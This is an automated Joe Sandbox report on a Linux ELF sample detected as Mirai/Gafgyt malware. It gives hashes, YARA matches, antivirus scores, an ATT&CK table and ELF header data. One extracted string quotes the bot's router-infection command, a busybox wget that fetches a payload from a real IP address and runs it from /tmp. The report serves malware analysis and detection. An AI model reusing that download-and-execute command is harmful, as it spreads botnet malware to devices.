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Linux Analysis Report
Federali686Agent.elf

Overview

General Information

Sample name:Federali686Agent.elf
Analysis ID:1642394
MD5:1af3be6da268294feeaf2f3f73f6e980
SHA1:fc0f2ac3c45f6cea1c404ec3a5929065fdc7d187
SHA256:99b7f760ada06a857d8433c00b2d794302ce971e235ab3ad62b4c9b3b58aaedb
Tags:elfMiraiuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1642394
Start date and time:2025-03-19 02:49:19 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 21s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:Federali686Agent.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
Command:/tmp/Federali686Agent.elf
PID:5535
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • Federali686Agent.elf (PID: 5535, Parent: 5455, MD5: 1af3be6da268294feeaf2f3f73f6e980) Arguments: /tmp/Federali686Agent.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
Federali686Agent.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    Federali686Agent.elfLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
    • 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1077c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x107a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x107b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x107cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x107e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x107f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1081c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    Federali686Agent.elfLinux_Trojan_Mirai_268aac0bunknownunknown
    • 0x689f:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
    Federali686Agent.elfLinux_Trojan_Mirai_0cb1699cunknownunknown
    • 0x6852:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
    Federali686Agent.elfLinux_Trojan_Mirai_2e3f67a9unknownunknown
    • 0x522:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
    • 0x582:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
    Click to see the 4 entries
    SourceRuleDescriptionAuthorStrings
    5535.1.0000000008048000.000000000805c000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      5535.1.0000000008048000.000000000805c000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
      • 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1077c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x107a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x107b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x107cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x107e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x107f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1081c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      5535.1.0000000008048000.000000000805c000.r-x.sdmpLinux_Trojan_Mirai_268aac0bunknownunknown
      • 0x689f:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
      5535.1.0000000008048000.000000000805c000.r-x.sdmpLinux_Trojan_Mirai_0cb1699cunknownunknown
      • 0x6852:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
      5535.1.0000000008048000.000000000805c000.r-x.sdmpLinux_Trojan_Mirai_2e3f67a9unknownunknown
      • 0x522:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
      • 0x582:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
      Click to see the 6 entries
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: Federali686Agent.elfAvira: detected
      Source: Federali686Agent.elfReversingLabs: Detection: 58%
      Source: Federali686Agent.elfVirustotal: Detection: 61%Perma Link
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com

      System Summary

      barindex
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_88de437f Author: unknown
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_3278f1b8 Author: unknown
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_3278f1b8 Author: unknown
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
      Source: Process Memory Space: Federali686Agent.elf PID: 5535, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Initial sampleString containing 'busybox' found: $(/bin/busybox wget -g 213.209.129.92 -l /tmp/monke -r /u; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke selfrep.router)
      Source: Initial sampleString containing 'busybox' found: $(/bin/busybox wget -g 213.209.129.92 -l /tmp/monke -r /u; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke selfrep.router)%04X/proc/opendir..self902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-log1337SoraLOADERSAIAKINAggtq1378bfp919GRB1Q2SAIAKUSOggtr14FaSEXSLAVE1337ggtt1902a3u912u3u4haetrghbr19ju3dSORAojkf120hehahejeje922U2JDJA901F91SlaVLav12helpmedaddthhhhh2wgg9qphbqSlav3Th3seD3viceshzSmYZjYMQ5GbfsoraSoRAxD123LOLiaGv5aA3SoRAxD420LOLinsomni640277SoraBeReppin1337ipcamCache66tlGg9QjUYfouyf876ke3TOKYO3lyEeaXul2dULCVxh93OfjHZ2zTY2gD6MZvKc7KU6rmMkiy6f87lA023UU4U24UIUTheWeekndmioribitchesA5p9TheWeekndsmnblkjpoiAbAdTokyosnebAkiruU8inTznetstatsAlexW9RCAKM20TnewnetwordAyo215WordnloadsWo
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_3278f1b8 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7e9fc284c9c920ac2752911d6aacbc3c2bf1b053aa35c22d83bab0089290778d, id = 3278f1b8-f208-42c8-a851-d22413f74dea, last_modified = 2021-09-16
      Source: Federali686Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_3278f1b8 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7e9fc284c9c920ac2752911d6aacbc3c2bf1b053aa35c22d83bab0089290778d, id = 3278f1b8-f208-42c8-a851-d22413f74dea, last_modified = 2021-09-16
      Source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
      Source: Process Memory Space: Federali686Agent.elf PID: 5535, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: Federali686Agent.elf, type: SAMPLE
      Source: Yara matchFile source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: Federali686Agent.elf PID: 5535, type: MEMORYSTR

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: Federali686Agent.elf, type: SAMPLE
      Source: Yara matchFile source: 5535.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: Federali686Agent.elf PID: 5535, type: MEMORYSTR
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1642394 Sample: Federali686Agent.elf Startdate: 19/03/2025 Architecture: LINUX Score: 72 8 daisy.ubuntu.com 2->8 10 Malicious sample detected (through community Yara rule) 2->10 12 Antivirus / Scanner detection for submitted sample 2->12 14 Multi AV Scanner detection for submitted file 2->14 16 Yara detected Mirai 2->16 6 Federali686Agent.elf 2->6         started        signatures3 process4

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      Federali686Agent.elf59%ReversingLabsLinux.Trojan.Mirai
      Federali686Agent.elf62%VirustotalBrowse
      Federali686Agent.elf100%AviraEXP/ELF.Mirai.Z.A
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches

      Download Network PCAP: filteredfull

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.25
      truefalse
        high
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comminer.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        FederalarmAgent.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        Federalm68kAgent.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        hoho.mpsl.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        hoho.arm6.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        hoho.m68k.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        hoho.x86.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        hoho.mips.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.331871545442588
        TrID:
        • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
        • ELF Executable and Linkable format (generic) (4004/1) 49.84%
        File name:Federali686Agent.elf
        File size:84'436 bytes
        MD5:1af3be6da268294feeaf2f3f73f6e980
        SHA1:fc0f2ac3c45f6cea1c404ec3a5929065fdc7d187
        SHA256:99b7f760ada06a857d8433c00b2d794302ce971e235ab3ad62b4c9b3b58aaedb
        SHA512:1b36bd050f83d97ea8255a51cae402a483907bed7a7d290b22e1d33fa298893254196f95adc7ff48a62a8071a2f20b3688f8d15242c8f133c1d5ae7213d089a2
        SSDEEP:1536:nFQa92oVKB2WYB2kRgdyvU6kUDIe18OVzfWDSGWKj/uNjpNH6LiaD:nFQaMoVbWYAkRggvU6kUDIe1tMGGBj/D
        TLSH:5F834AC1F18B81F5C007897450A7FA3F9E31D5E852319AAEEF999F32DA33642811678D
        File Content Preview:.ELF....................h...4...DH......4. ...(......................7...7...............@...............o..........Q.td............................U..S.......w?...h........[]...$.............U......= ....t..1....$......$.......u........t...$........... .

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:Intel 80386
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x8048168
        Flags:0x0
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:84036
        Section Header Size:40
        Number of Section Headers:10
        Header String Table Index:9
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x80480940x940x1c0x00x6AX001
        .textPROGBITS0x80480b00xb00x105d10x00x6AX0016
        .finiPROGBITS0x80586810x106810x170x00x6AX001
        .rodataPROGBITS0x80586a00x106a00x307c0x00x2A0032
        .ctorsPROGBITS0x805c0000x140000x80x00x3WA004
        .dtorsPROGBITS0x805c0080x140080x80x00x3WA004
        .dataPROGBITS0x805c0200x140200x7e40x00x3WA0032
        .bssNOBITS0x805c8200x148040x67600x00x3WA0032
        .shstrtabSTRTAB0x00x148040x3e0x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x80480000x80480000x1371c0x1371c6.44340x5R E0x1000.init .text .fini .rodata
